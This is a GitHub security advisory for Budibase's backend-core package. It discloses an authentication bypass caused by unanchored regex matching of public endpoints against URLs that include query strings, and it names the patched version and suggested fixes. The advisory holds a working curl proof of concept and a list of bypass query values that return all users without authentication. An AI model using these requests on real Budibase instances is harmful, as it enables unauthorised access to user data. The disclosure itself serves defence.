# Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints

Critical **mjashanks** published **GHSA-8783-3wgf-jggf** last week

**Package**

**@budibase/backend-core** (npm)

**Affected versions**

all

**Patched versions**

3.35.4

**Description**

## Summary

The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.

## Details

### Step 1 — Public endpoint patterns compiled without anchors

`packages/backend-core/src/middleware/matchers.ts`, line 26:

```
return { regex: new RegExp(route), method, route }
```

No `^` prefix, no `$` suffix. The regex matches anywhere in the test string.

### Step 2 — Regex tested against full URL including query string

`packages/backend-core/src/middleware/matchers.ts`, line 32:

```
const urlMatch = regex.test(ctx.request.url)
```

Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.

**Step 3 — publicEndpoint flag set to true**

`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:

```
const found = matches(ctx, noAuthOptions)
if (found) {
  publicEndpoint = true
}
```

**Step 4 — Worker's global auth check skipped**

`packages/worker/src/api/index.ts`, lines 160-162:

```
.use((ctx, next) => {
  if (ctx.publicEndpoint) {
    return next()        // ← SKIPS the auth check below
  }
  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
    ctx.throw(403, "Unauthorized")   // ← never reached
  }
})
```

When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.

**Step 5 — Routes without per-route auth middleware are exposed**

`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:

```
export const loggedInRoutes = endpointGroupList.group()   // no middleware
```

Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.

**Affected endpoints (no per-route auth — fully exposed):**

- `POST /api/global/users/search` — search all users (emails, names, roles)
- `GET /api/global/self` — get current user info
- `GET /api/global/users/accountholder` — account holder lookup

- `GET /api/global/template/definitions` — template definitions
- `POST /api/global/license/refresh` — refresh license
- `POST /api/global/event/publish` — publish events

**Not affected (have secondary per-route auth that blocks undefined user):**

- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403
- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it

## PoC

```
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search"
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"admin@example.com","admin":{"global":true},...}],...}
```

Without auth → 403. With `?x=/api/system/status` → returns all users.

Any public endpoint pattern works as the bypass value:

- `?x=/api/system/status`
- `?x=/api/system/environment`
- `?x=/api/global/configs/public`
- `?x=/api/global/auth/default`

## Impact

An unauthenticated attacker can:

1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`
2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`
3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`
4. **Publish events** — inject events into the event system via `/api/global/event/publish`

The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.

## Suggested Fix

Two options (both should be applied):

**Option A — Anchor the regex:**

```
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
```

**Option B — Use ctx.request.path instead of ctx.request.url:**

```
// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path)  // excludes query string
```

**Severity**

Critical 9.1 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | None |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | None |
| Availability | High |

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

**CVE ID**

CVE-2026-41428

**Weaknesses**

▶ CWE-287

---

**Credits**

**AyushParkara** Reporter